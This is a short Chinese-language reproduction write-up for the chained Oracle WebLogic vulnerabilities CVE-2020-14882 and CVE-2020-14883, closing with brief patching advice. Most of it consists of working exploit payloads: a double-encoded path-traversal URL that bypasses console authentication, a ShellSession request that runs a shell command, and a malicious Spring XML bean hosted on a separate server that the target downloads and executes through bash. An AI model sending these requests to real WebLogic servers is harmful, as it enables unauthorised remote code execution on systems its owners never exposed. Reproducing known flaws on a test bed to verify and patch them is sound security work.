概述

CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个 GET 请求在远程 Weblogic 服务器上以未授权的任意用户身份执行命令。

参考

  1. 通过权限绕过漏洞(CVE-2020-14882)访问管理后台页面:http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal
    image.png
    虽然可以访问管理后台页面,但是权限很低,无法执行任意代码。
  2. 配合 CVE-2020-14883 命令执行漏洞在服务器上创建文件
    1. 通过 com.tangosol.coherence.mvel2.sh.ShellSession 类执行命令(在 Weblogic 12.2.1 以上版本适用)
      访问:http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test');")
      image.png
    2. 通过 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类执行命令(比较通用,但需要目标主机能访问到外网以下载构造的 xml 文件)
      1)构造 xml 文件,并可通过 url 访问到 http://172.16.0.1:8000/rce.xml
      1. <?xml version="1.0" encoding="UTF-8" ?>
      2. <beans xmlns="http://www.springframework.org/schema/beans"
      3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      5. <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
      6. <constructor-arg>
      7. <list>
      8. <value>bash</value>
      9. <value>-c</value>
      10. <value><![CDATA[touch /tmp/test2]]></value>
      11. </list>
      12. </constructor-arg>
      13. </bean>
      14. </beans>
      2)访问:http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.0.1:8000/rce.xml")
      image.png

      漏洞修复

  • 官方补丁
  • 更新版本

    参考